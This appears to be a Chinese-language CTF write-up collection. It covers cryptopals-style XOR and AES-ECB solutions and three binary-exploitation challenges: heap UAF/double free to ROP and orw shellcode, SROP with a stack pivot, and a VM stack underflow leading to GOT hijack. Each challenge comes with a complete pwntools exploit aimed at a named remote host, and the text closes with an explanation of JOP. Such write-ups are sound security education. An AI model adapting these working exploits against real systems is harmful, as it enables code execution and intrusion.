bytes([cipher[j * keylen + i] for j in range(len(cipher) // keylen)]) key_bytes.append(get_key(block)) key = bytes(key_bytes) # print(repeating_key_xor(cipher, key).decode()) print(f'Key: {key}') # Guessed key length: 29 # Key: b'Terminator X: Bring the noise'7. AES in ECB modeimport base64 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms key = b"YELLOW SUBMARINE" with open('7.txt', 'r') as f: encrypted_b64 = f.read() encrypted_data = base64.b64decode(encrypted_b64) cipher = Cipher(algorithms.AES(key)) # Default to ECB mode decryptor = cipher.decryptor() decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize() print(decrypted_data.decode())8. Detect AES in ECB modeprint(max(open('8.txt').read().splitlines(), key=lambda x: len(c:=[x[i:i+32] for i in range(0, len(x), 32)]) - len(set(c))))
malloc自定义堆内存管理器。堆块结构：| Offset | Field | Description | |---------|----------------|------------------------------------| | +0 | in_use (1B) | 1 = allocated, 0 = free | | +1..7 | padding | for 8-byte alignment | | +8 | size (4B) | total size of the chunk | | +12..15 | padding | (align next pointer) | | +16 | next (8B) | pointer to next free chunk | | +16 | user data start| returned to caller (malloc result) |delete 时存在 UAF，且 double free 检测深度只有 13，而我们最多可以申请 16 个堆块。double free 后再多次 create 得到重叠堆块，修改 next 指针得到任意地址（目标地址 - 16）分配，从而任意地址读写。泄露 libc、stack 基地址后任意分配到栈上写 ROP，返回至提前布置好的 shellcode。程序沙箱禁用 execve 等系统调用，考虑 orw。Exp:#!/usr/bin/python from pwn import * from ctypes import * itob = lambda x: str(x).encode() print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}') context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='info') binary = './pwn' # io = process(binary) io = connect('45.40.247.139', 18565) e = ELF(binary) libc = ELF('./libc.so.6', checksec=False) # 0x0f < size <= 0x70 def create(index: int, size: int): io.sendlineafter(b'=======================\n', b'1') io.sendlineafter(b'Index\n', itob(index)) io.sendlineafter(b'size\n', itob(size)) def delete(index: int): io.sendlineafter(b'=======================\n', b'2') io.sendlineafter(b'Index\n', itob(index)) def edit(index: int, size: int, content: bytes): io.sendlineafter(b'=======================\n', b'3') io.sendlineafter(b'Index\n', itob(index)) io.sendlineafter(b'size\n', itob(size)) io.send(content) def show(index: int): io.sendlineafter(b'=======================\n', b'4') io.sendlineafter(b'Index\n', itob(index)) def exitit(): io.sendlineafter(b'=======================\n', b'5') for i in range(15): create(i, 0x10) for i in range(15): delete(i) delete(0) # double free show(14) # leak heap (elf) e.address = u64(io.recvline(False).ljust(8, b'\x00')) - 0x53a0 print_leaked('elf_base', e.address) create(0, 0x10) edit(0, 8, p64(e.sym['stdout'] - 16)) # `next` -> stdout for _ in range(16): create(1, 0x10) show(1) libc.address = u64(io.recvline(False).ljust(8, b'\x00')) - 0x21b780 print_leaked('libc_base', libc.address) for i in range(15): create(i, 0x20) for i in range(15): delete(i) delete(0) # double free create(0, 0x20) edit(0, 8, p64(libc.sym['environ'] - 16)) # `next` -> environ for _ in range(16): create(1, 0x20) show(1) stack_addr = u64(io.recvline(False).ljust(8, b'\x00')) print_leaked('stack_addr', stack_addr) for i in range(15): create(i, 0x70) for i in range(15): delete(i) delete(0) # double free create(0, 0x70) edit(0, 8, p64(stack_addr - 0x140 - 16)) # `next` -> stack retaddr for _ in range(16): create(1, 0x70) # gdb.attach(io, 'b *$rebase(0x18F2)') edit(0, 0x70, asm(f""" mov rax, 0x67616c662f push rax mov rax, __NR_open mov rdi, rsp xor rsi, rsi xor rdx, rdx syscall mov rax, __NR_read mov rdi, 3 mov rsi, rsp mov rdx, 0x50 syscall mov rax, __NR_write mov rdi, 1 mov rsi, rsp mov rdx, 0x50 syscall """)) edit(1, 0x70, flat([ libc.search(asm('pop rdi;ret')).__next__(), e.address + 0x5000, libc.search(asm('pop rsi;ret')).__next__(), 0x1000, libc.search(asm('pop rdx;pop r12;ret')).__next__(), 7, 0, libc.sym['mprotect'], e.address + 0x56c0 ])) io.interactive()stack看起来是堆溢出但其实会栈迁移到堆上，溢出改返回地址爆破 PIE 到 magic。由于随机数种子来自已知时间，所以可以预测随机数，逆运算得到 PIE 基地址。最后栈迁移到 bss 段，利用 SROP 和 syscall gadget 实现任意系统调用。程序 seccomp 沙箱禁用了 open、execve 等系统调用，考虑 openat 替代。Exp:#!/usr/bin/python from pwn import * from ctypes import * itob = lambda x: str(x).encode() print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}') context(arch='amd64', os='linux', terminal=['konsole', '-e']) binary = './Stack_Over_Flow' e = ELF(binary) libc = ELF('./libc.so.6', checksec=False) while True: global io, elf_base io = connect('45.40.247.139', 30871) libc_lib = CDLL('/usr/lib/libc.so.6') libc_lib.srand(libc_lib.time(0)) libc_lib.rand() % 5 libc_lib.rand() % 5 key = libc_lib.rand() % 5 try: io.sendafter(b'luck!\n', cyclic(0x2000)[:cyclic(0x2000).index(b'qaacraac')] + b'\x5F\x13') if b'magic' not in io.recvuntil(b':'): io.close() continue e.address = (int(io.recvline(False)) // key) - 0x16b0 break except Exception: io.close() continue context.log_level = 'debug' print_leaked('elf_base', e.address) syscall = e.address + 0x000000000000134f fake_stack = e.bss(0x800) # stack mig frame = SigreturnFrame() frame.rax = 0 frame.rdi = 0 frame.rsi = fake_stack frame.rdx = 0x800 frame.rip = syscall frame.rsp = fake_stack # gdb.attach(io, 'b *$rebase(0x16A4)') io.sendafter(b'luck!\n', flat([ cyclic(0x100), 0, syscall, 0, syscall, bytes(frame) ])) pause() io.send(cyclic(0xf)) # mprotect frame = SigreturnFrame() frame.rax = 10 frame.rdi = fake_stack & ~0xfff frame.rsi = 0x1000 frame.rdx = 7 frame.rip = syscall frame.rsp = fake_stack + 0x200 xor_rax_pop_rbp = e.address + 0x00000000000016a0 payload = flat([ 0, xor_rax_pop_rbp, 0, syscall, 0, syscall, bytes(frame) ]) payload = payload.ljust(0x200, b'\x00') payload += flat([ 0, fake_stack + 0x300 ]) payload = payload.ljust(0x300, b'\x00') payload += asm(""" push 0x50 lea rax, [rsp - 0x60] push rax mov rax, 0x67616c662f push rax push __NR_openat ; pop rax xor rdi, rdi push rsp ; pop rsi xor rdx, rdx xor r10, r10 syscall push rax push __NR_readv ; pop rax pop rdi popf push rsp ; pop rsi push 1 ; pop rdx syscall push __NR_writev ; pop rax push 1 ; pop rdi syscall """) pause() io.send(payload) pause() io.send(cyclic(0xf)) io.interactive()mvmps参考软件系统安全赛 - vm。00000000 struct __attribute__((packed)) __attribute__((aligned(1))) VM // sizeof=0x49 00000000 { 00000000 char *vmcode; 00000008 int pc; 0000000C int field_C; 00000010 __int64 regs[6]; 00000040 int64_t sp; 00000048 BYTE field_48; 00000049 };SUB SP 时栈指针下溢，PUSH 和 POP 操作变成 ELF 几乎任意地址读写。不是 PIE，劫持 GOT 即可。读取 read@got 低 4 字节，减去偏移得到 system 地址，将其写回 read@got 低 4 字节，内存中写入 "sh"，执行 read 并传入首个参数为 "sh" 地址。指令有四种格式。具体见下方 exp 注释。Exp:#!/usr/bin/python from pwn import * from ctypes import * itob = lambda x: str(x).encode() print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}') context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug') binary = './vvmm' # io = process(binary) io = connect('45.40.247.139', 15101) e = ELF(binary) libc = ELF('./libc.so.6', checksec=False) # gdb.attach(io, 'b *0x401CBF\nb *0x4015AA\nb *0x401CC6\nb *0x402742\nb *0x4025E7\nb *0x4014AF\nb *0x4015CE') def INST(opcode: int, type: int, *args) -> bytes: header = p8(opcode << 2 | type) if type == 0: return header + p8((args[0] & 0xff0000) >> 16) + p8((args[0] & 0xff00) >> 8) + p8(args[0] & 0xff) if type == 1: return header + p8(args[0]) if type == 2: return header + p8(args[0]) + p8(args[1]) if type == 3: return header + p8(args[0]) + p32(args[1]) raise ValueError("Invalid type.") io.sendafter(b'Please input your opcodes:\n', b''.join([ INST(0x24, 0, 0x418), # SUB SP (to read@got) INST(0x20, 1, 0), # read from elf (read@got) INST(0xb, 3, 0, 0xc3a60), # REG SUB (offset of read & system) INST(0x1f, 1, 0), # write to elf (system) INST(0x3, 3, 1, 0x6873), # LOAD IMM ("sh") INST(0x25, 0, 0x30), # ADD SP (arbitrary mem) INST(0x1f, 1, 1), # write to elf ("sh") INST(0x3, 3, 0, 0x4050fc), # LOAD IMM (arbitrary mem) INST(0x33, 0, 0), # SYSCALL (read@plt -> system with arg "sh") ])) io.interactive()
JOP 更像是对 ROP 的概念扩充而不是一个新的攻击方式，让我们先来回顾下熟悉的 amd64 ROP。在 ROP 中，我们大概可以将 gadgets 分为三类：传递参数或做准备的 gadgets（例如 pop rdi）、收集函数返回值的 gadgets（例如 mov rdi, rax）执行有意义操作的 gadgets（例如 system、orw、syscall、shellcode）。控制 ROP 本身的 gadgets（例如 ret、leave 栈迁移）以上 gadgets 通过 ret 指令和 rsp 寄存器串联起来。为了引出 JOP，我想到了一个好方法，一个“分解”x86 中较复杂指令的游戏：（下文 reg 表示任意通用寄存器，tmp 表示内部临时寄存器。）我们来“分解”pop reg 指令，它“等效”于 mov reg, qword ptr [rsp]; add rsp, 8。（我们忽略了对标志位的影响，如果考虑的话第二个指令应为 lea rsp, [rsp + 8]。）JOP 链的位置完全可以不在栈上，最终我们可以提炼出：mov reg1, qword ptr [reg2 + offset] 或 mov qword ptr [reg2 + offset], reg1（由于有 + offset，我们不需要 add，下同。）这就是 JOP 中类似 ROP 的“传参准备”或“收集结果”gadgets，例如考虑 reg1 是 rdi 的情况。reg2 就是 JOP 链基地址。但是可以看到这并不能构造链式执行。现在我们来“分解”ret 指令，它“等效”于 pop tmp; jmp tmp，由上文进而“展开”为 mov tmp, qword ptr [rsp]; add rsp, 8; jmp tmp，现在我们又提炼出：mov reg1, qword ptr [reg2 + offset] jmp reg1 或 call reg1 或 ...（跳转）我们只需预先在 reg2 + offset 位置布置好下一个 JOP gadget，这就是 JOP 中类似 ROP 的“控制”gadgets。把上述两部分拼起来，我们最终获得了和 ROP 相同的能力，无需与调用栈和函数返回挂钩。